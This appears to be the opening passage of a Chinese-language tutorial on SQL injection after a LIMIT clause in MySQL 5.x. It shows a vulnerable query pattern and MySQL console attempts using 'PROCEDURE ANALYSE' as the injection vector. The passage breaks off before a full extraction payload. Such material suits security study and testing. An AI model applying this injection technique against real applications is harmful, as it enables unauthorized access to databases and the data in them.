基本介绍
此方法适用于MySQL 5.x中,在limit语句后面的注入,常见的后台SQL语句如下所示:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
上面语句包含了ORDER BY,MySQL中UNION语句不能在ORDER BY的后面,不然这里利用UNION就可以很容易的读取数据了,下面看看在MySQL 5中的SELECT语法:
从上面可以看到在LIMIT后面可以跟一个函数——PROCEDURE,那么使用PROCEDURE函数能否注入呢? 下面试试看:
mysql> select username from users where id > 0 order by id limit 1,1 procedure analyse(1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
mysql>
ANALYSE可以有两个参数:
mysql> select username from users where id > 0 order by id limit 1,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this